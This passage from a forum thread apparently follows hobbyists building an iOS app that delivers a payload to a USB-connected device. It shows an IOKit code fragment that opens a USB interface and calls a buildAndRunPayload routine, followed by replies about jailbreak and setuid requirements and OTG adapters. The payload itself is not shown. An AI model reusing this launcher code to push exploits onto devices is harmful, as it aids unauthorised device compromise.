                    interfaceRequest.bAlternateSetting = kIOUSBFindInterfaceDontCare;
    
                    //Get an interface iterator..
                    io_iterator_t iterator;
                    kr = (*deviceInterface)->CreateInterfaceIterator(deviceInterface, &interfaceRequest, &iterator);
                    if (kr == kIOReturnSuccess)
                    {
                        if ((usbDevice = IOIteratorNext(iterator)))
                        {
                            IOUSBInterfaceInterface300 **usbInterface = getUSBInterface(usbDevice);
                            if (usbInterface)
                            {
                                kr = (*usbInterface)->USBInterfaceOpen(usbInterface);
                                if (kr == kIOReturnSuccess) {
                                    UInt8 pipe_ref = 1;
                                    kr = (*usbInterface)->GetPipeStatus(usbInterface, pipe_ref);
                                    switch (kr) {
                                        case kIOReturnNoDevice:
                                            [strings addObject:@"Pipe Status: No Device"];
                                            break;
                                        case kIOReturnNotOpen:
                                            [strings addObject:@"Pipe Status: Not Open"];
                                            break;
                                        case kIOReturnSuccess:
                                            [strings addObject:@"Pipe Status: Open"];
                                            break;
                                        case kIOReturnBusy:
                                            [strings addObject:@"Pipe Status: Busy"];
                                            break;
                                        default:
                                            [strings addObject:@"Pipe Status: We screwed up"];
                                            break;
                                    }
    
                                    buildAndRunPayload(deviceInterface, usbInterface);
                                }
    
                                (*usbInterface)->Release(usbInterface);
                            }
    
                            IOObjectRelease(usbDevice);
                        }
    
                        IOObjectRelease(iterator);
                    }
                }
    
                (*deviceInterface)->USBDeviceClose(deviceInterface);
            }
    
            (*deviceInterface)->Release(deviceInterface);
        }
    }
    
    What do you think? We're getting there aren't we! :)
     
    Last edited by softwareengineer, May 28, 2018
    Dread_Pirate_PJ likes this.
  19. apple_juice

    apple_juice Newbie

    Newcomer
    1
    May 3, 2018
    Czech Republic
    @JustBrandonT what iOS version are you running? im on 11.4b6 and getting
    Code:
    Error while enumerating files /dev: The file “dev” couldn’t be opened because you don’t have permission to view it
    
    Are you sure you can use this w/o proper entitlements(e.g. non-jailbroken device)? I have a jailbroken 5s, will test when I get home

    EDIT:

    haven't noticed setuid routine in main.swift, guess I won't be using it, since I don't jb my main devices
     
    Last edited by apple_juice, May 28, 2018
  20. ElijahZAwesome
    OP

    ElijahZAwesome Hey. I exist. Woo

    Member
    6
    Jul 12, 2016
    United States
    Narnia
    Holy crap this advanced hella fast while I was gone.

    Is the GitHub updated to the latest stuff? Now would probably be the best time to look at the code lol. Now I feel left out from a question that I asked lol because I don't have an OTG adapter and they all cost a crap load of money and I don't even really know what I'm trying to get.

    Does just any kind of cable to female USB adapter work? Cause I c could just get a female to female USB adapter so I could adapt anything.

    Sent from my XT1565 using Tapatalk
     
Quick Reply
Draft saved Draft deleted
Loading...